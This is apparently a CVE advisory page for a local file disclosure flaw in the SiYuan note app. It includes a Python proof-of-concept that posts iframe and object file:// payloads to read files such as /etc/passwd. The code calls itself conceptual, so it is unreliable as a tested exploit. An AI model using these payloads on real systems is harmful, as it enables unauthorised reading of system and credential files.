Security Vulnerability Report
中文
CVE-2026-23850 CVSS 7.5 HIGH

CVE-2026-23850

Published: 2026-01-19 20:15:50
Last Modified: 2026-04-29 01:00:02

Description

SiYuan is a personal knowledge management system. In versions prior to 3.5.4, the markdown feature allows unrestricted server side html-rendering which allows arbitrary file read (LFD). Version 3.5.4 fixes the issue.

CVSS Details

CVSS Score
7.5
Severity
HIGH
CVSS Vector
CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:N/A:N

Configurations (Affected Products)

cpe:2.3:a:b3log:siyuan:*:*:*:*:*:*:*:* - VULNERABLE
SiYuan < 3.5.4

PoC / Exploit Code

⚠ For Security Research Only
The following code is for security research and authorized testing only.
python
import requests # CVE-2026-23850 PoC - SiYuan Local File Disclosure # Target: SiYuan < 3.5.4 def exploit_siyuan_lfd(target_url, file_path): """ Exploit for CVE-2026-23850 This PoC demonstrates how an attacker can read arbitrary files through the markdown HTML rendering feature. """ # Malicious markdown payload that triggers file reading # The exact payload depends on the specific attack vector payload = f''' <iframe src="file://{file_path}"></iframe> <object data="file://{file_path}"></object> ''' # API endpoint for creating/updating documents api_endpoint = f"{target_url}/api/filetree/createDoc" headers = { "Content-Type": "application/json", # Add authentication headers if needed } data = { "path": "/temp/cve-2026-23850", "markdown": payload, "title": "CVE-2026-23850 Test" } try: response = requests.post(api_endpoint, json=data, headers=headers) print(f"[*] Request sent to {api_endpoint}") print(f"[*] Response status: {response.status_code}") print(f"[*] Response: {response.text}") return response except Exception as e: print(f"[!] Error: {e}") return None # Example usage if __name__ == "__main__": target = "http://target-siyan-instance:8126" # Target file to read (Linux example) file_to_read = "/etc/passwd" exploit_siyuan_lfd(target, file_to_read) # Note: This is a conceptual PoC. Actual exploitation may require # different payloads and endpoints based on the specific version # and configuration of the target SiYuan instance.

References

Raw JSON Data

JSON
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